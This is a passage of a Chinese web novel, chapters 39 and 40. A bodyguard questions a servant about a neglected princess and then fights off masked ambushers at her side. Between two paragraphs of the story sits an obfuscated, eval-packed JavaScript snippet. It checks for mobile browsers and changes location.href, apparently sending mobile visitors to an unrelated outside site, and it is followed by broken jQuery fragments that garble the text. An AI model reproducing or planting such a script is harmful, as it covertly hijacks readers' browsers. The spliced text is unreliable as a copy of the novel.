39
公主身份尊贵,自然不可风餐露宿。因此队伍每行至驿站,便会歇息一夜。
由于路途顺利脚程够快,我们比原先预想的更早抵达驿站。太阳还没落山,整个车队便已经安置妥当。
我想趁着这个机会,去试探一下公主的底细,于是我敲响了她的房门。
来开门的却是那名侍女,她双手抱胸,神色不耐道:“你一个大男人,来找公主有什么事?”
“微臣前来叨扰,是想问公主今日路程可否习惯?若是有不妥的地方,大可直接提出,我们会及时调整。”
我弯腰拱手行礼,眼里偷偷往房内瞟,想要看清里头的情形。只可惜侍女侧着身,挡得严严实实,什么也看不到。
“没什么问题。”侍女摆了摆手,直接下了逐客令,“要是有事,我自会喊你们,没事就不要来打扰公主了。”
我不想扑了个空,硬着头皮问道:“公主殿下不是坐在马车里,就是待在客房,会不会憋闷了些,何不出来透口气?”
“外头都是容易着凉的冷风。”侍女眉头一横,推了推我,嫌弃道,“我们公主自小体弱多病,若是出了什么事,你们担待得起吗?”
话说到这个份上,我也不好勉强,只好悻悻离去。
天底下没有密不透风的墙。既然公主这边是铜墙铁壁,那我就从她的身边人下手好了。
燕国带来的人里,除了公主的贴身侍女,还有不少宫女侍卫。其中地位最低的,便是带来干粗活的奴仆。
我走到马厩附近,看见有一个奴仆正在埋头清理马粪。他的脸上全是汗水,想必已是累极。
“这些马匹照顾得很好,真是辛苦你了。”我上前跟他搭话,将手帕递了过去。
他有些不知所措,摊着脏兮兮的双手,完全不敢接:“大人,我这……”
“不要紧张,手帕本来就是要用的,又不是摆着好看的。”我强行把手帕塞到他的掌心,随意在不远处的台阶坐下,拍了拍身旁的位置,“我瞧你也累了,要不坐下来休息一会儿。”
他犹豫了一下,局促地缩着肩膀,小心翼翼地坐了下来,小声叹道:“大人……您真是平易近人。”
“大家都是底下做事的人,不用分什么彼此。”我故作谦虚地摆了摆手,不经意般问道,“对了,你在燕国是给公主办事吗?”
他连连摇头:“小的就是个马倌,哪里有资格给皇家办事。要不是赶上这位公主出嫁,我估计也不会在这里。”
我不动声色地问道:“哦?听你的意思,你是被临时拉来的?”
他忽然面露难色,压低了声音:“其实吧……这位公主不太受宠。我们燕国有好几位皇子公主,她是里面最不受待见的。平日里她的宫中人手最少,身旁没几个人伺候,所以我才被拉壮丁塞了进来。”
我从袖子里掏出几个金元宝,塞到他的手里:“你能再详细讲讲有关公主的事吗?”
“这……”奴仆踟蹰片刻,还是不敢答应,“宫里头的事情,小的不敢议论太多,这可是要掉脑袋的。”
我安抚道:“你放心,我也不是要问什么辛秘,你说些燕国人尽皆知的事便好。我没有别的意思,只是想多了解公主,在迎亲路上好早做安排。”
听见我信誓旦旦的保证,他终于放下心,一五一十地把自己听说的事全部讲了出来。
和亲公主名唤沈棠,是燕国皇帝的三女儿。她的生母只是普通宫女,出身寻常百姓,意外被皇帝宠幸才生下了她。但皇帝新鲜感过去,很快忘记了这事,再也没有去看过他们母女。
沈棠的生母在她八岁那年,感染了风寒未及时医治,便不幸离开了人世。没了母亲的庇护,她孤苦伶仃在宫中长大,不受其他兄弟姐妹待见,人人都可以踩上一脚。
说来也奇怪,燕国皇帝虽然妻妾成群,但实在是子孙绵薄。在沈棠出生前,只有两位公主,好不容易剩下的皇子也都夭折了。看腻了女儿,又等不到儿子,皇帝自然没把沈棠放在心上。等到后来四皇子出生,他便将全部心思投身在自己唯一的儿子身上,更加不会分出多余的眼神去看三公主沈棠。
等到两国准备和谈,皇帝才想起自己还有这么个未出嫁的女儿,于是把她从犄角旮旯里找出来,打包送出去和亲。
40
次日车队收拾完毕,再次踏上路途。
我骑着枣红马,保持着不远不近的距离,跟在公主车厢的身后。上坡路段稍有颠簸,车身左右摇晃,里头时不时传来咳嗽声。
那侍女却坐在车头,跟马夫聊着天,对身后的动静置若罔闻。
我不由得心生疑虑。真是奇怪,若她真的在意公主,又怎会对此漠不关心?莫非是言行不一,表面装作照顾公主,不许外人靠近,实际上是在监视公主?
想到这里,我不由得心头一跳。
如果侍女跟公主不是一条心,有人故意派她盯住公主,背后绝对是不怀好意。正所谓明枪易躲,暗箭难防,燕国这次和谈太过顺遂,以至于我心底始终有些不安。
我先前的猜想似乎正在逐步得到验证。
我忍不住握紧缰绳,加快了速度。等我回过神来的时候,才发现自己不知不觉间靠近了车厢的末尾。
若再继续往前,便跟公主的马车并行了。为了不引起别人的怀疑,我立刻调转马头,准备往后撤回原位。
这时忽然刮起了一阵大风,窗帘掀起半个角,隐约露出里面的布局。我不自觉停下动作,伸长脖子去看。
只见修长苍白的手指,抵着嫣红的嘴唇,发出轻轻的几声咳嗽。
车帘遮住了公主的上半张脸,我只能看清下巴附近,还有那凸起的锁骨。我侧过身,想要知道她的全貌,这时风却停了下来。
窗帘彻底垂下,我什么也没能看见。
我望着车窗出神,莫名有些遗憾。前方忽然传来一声低语:“好奇心害死猫,这道理你明白吗?”
这声音低沉,我愣了一会儿,才意识到这声音的源头正是车厢。
我环顾四周,见无人察觉,才不紧不慢地回答道:“死于好奇心,也总比死得不知所谓要好。”
我听见公主低笑了一声。
只是这声音过于短促,很快就消失在空气中。旅途再次归于平静,似乎一切只是我的幻觉。
当我以为这场谈话已经结束的时候,车厢里突然抛出了一个不明物件,在半空划出长长的弧度,径直坠向远处的地面,很快隐于几尺高的杂草丛之中。
我听见公主对那侍女喊道:“停车。”
侍女转头,问道:“怎么了?”
公主说:“我的首饰刚刚不小心被风吹下去了,你去帮我捡回来吧。”
侍女待在原位没动,似乎是嫌麻烦,看起来有些不乐意:“您不是有很多陪嫁首饰嘛,丢了就丢了,还是赶路要紧。”
我在旁边听见这话,心觉真有意思。区区一个侍女,竟然也能爬到公主头上作威作福,甚至可以直接帮她做决定。
公主显然也明白她的心思,立刻冷声道:“你在教我做事?”
“奴婢不敢。”侍女低下头,竭力压下眼底的愤懑,下车去寻那首饰去了。隔着不远的距离,我听见她小声嘀咕道:“摆上什么公主架子,明明跟她母亲都是贱种。”
我不知道这话公主有没有听见,因为车厢静得出奇,什么反应都没有。或许在她的前半生,已经听到太多这样的话,所以便习以为常了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630001|171380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“进来。”公主的声音很快打破了这份平静。
这句话前言不搭后语,没有任何人称,但我就是知道,她在跟我说话。
我跳下马,迅速钻进了车厢。直到这时,我终于看清了公主沈棠的面容。
她生了一双丹凤眼,眼尾微微上挑。鼻梁高挺,唇红齿白,带着几分英气,看起来雌雄莫辨。
她的长相明艳,可气质却截然相反。兴许是因为体弱多病,她的面色苍白如纸,脖颈下青色脉搏依稀可见,周身反倒弥漫着一股颓败而阴戾的气息。
我定了定神,决定先发制人:“公主殿下叫我进来,是有什么事?”
沈棠倚着车壁,单手撑起下巴,盯着我若有所思。那骨节分明的苍白食指,一下又一下轻叩着脸颊。
她不徐不缓地开口道:“你……”
话说到一半,车身忽然震动。外头传来骚动,紧接着是刀剑碰撞的声响。
有人大喊道:“遇袭了!快保护公主!”
“不好,这是埋伏,要被包围了!”
我顿感不妙,立刻推开吓呆的车夫,伸手去抓缰绳。趁现在人多眼杂,说不定能驾车冲出包围。
没想到眼前突然飞出一道利箭,直接朝这边冲来。车夫还没反应过来,便直挺挺地栽倒在地。
四周乱作一团,耳畔充斥着拼杀叫喊声。我抬起头,一个蒙面黑衣人举着弓箭,正直直地瞄准我。我顾不得其他,猛地抓起马夫的尸体,横档在面前,堪堪躲过连续射来的飞箭。
然而,正是这片刻的耽搁,几个黑衣人有了可趁之机。眼看着他们就要跳上马车,我立刻扬起马鞭,狠狠一抽,喊道:“驾!”
马儿吃痛,撒开蹄子狂奔,将黑衣人甩了出去。我还没来得及松口气,却见车辙下突然伸出一双手。紧接着眼前闪过一道黑影,直接蹬着车轮翻身爬上了马车。
见鬼了,竟然没有甩掉。
我在心底咒骂着,死死拽着缰绳不放手。如今马车正在疾驰,我若是突然松手,很容易撞上树木石壁。但如果我不放手,可能直接会被黑衣人杀死。
到底是被撞死,还是被砍死?
这个严峻的问题摆在我的面前。天杀的,我就非死不可吗?!
我咬了咬牙,恶狠狠地瞪着黑衣人。万一他要攻击我,我就立刻松开缰绳反击,来个鱼死网破。
黑衣人扶着车厢,站稳了脚跟。说时迟,那时快,沈棠从他的身后冒了出来。
只见血光四溅,沈棠举着不知从哪里摸出来匕首,直接把黑衣人捅了个透心凉。
说好的体弱多病,这是怎么回事?
我一时间哑然,感叹道:“公主殿下,您可真彪悍。”
沈棠张了张嘴,正要回答我。马车突然一震,猛地停了下来。我转过头,想看车轮是不是卡到了什么东西,结果看见沈棠身后的车窗,不知何时又爬进了一个黑衣人,拿着剑就要刺向她。
“小心!”我大喝一声,捡起前面尸体手中的剑,从侧面劈向这个偷袭的黑衣人。
血溅到我的脸上,是温热的感觉,泛着刺鼻的腥味。
我杀了人。
在产生这个念头前,我的四肢仿佛有自己的意识。我不停地将剑拔出,又再次刺入黑衣人的身体。刀剑没入血肉的顿感,使我浑身颤栗。这熟悉的血腥味令我着迷,曾经被遗忘在深处的记忆,在内心止不住地翻涌。
够了,他已经死了,不用再补刀了。
我的理智在呐喊,身体却任由情感支配。
这时沈棠笑了。她的眼底尽是疯狂:“如此看来,你也不相上下。”
我停下动作,抹去脸颊沾上的血。我后知后觉地意识到,她是在回答我先前的话。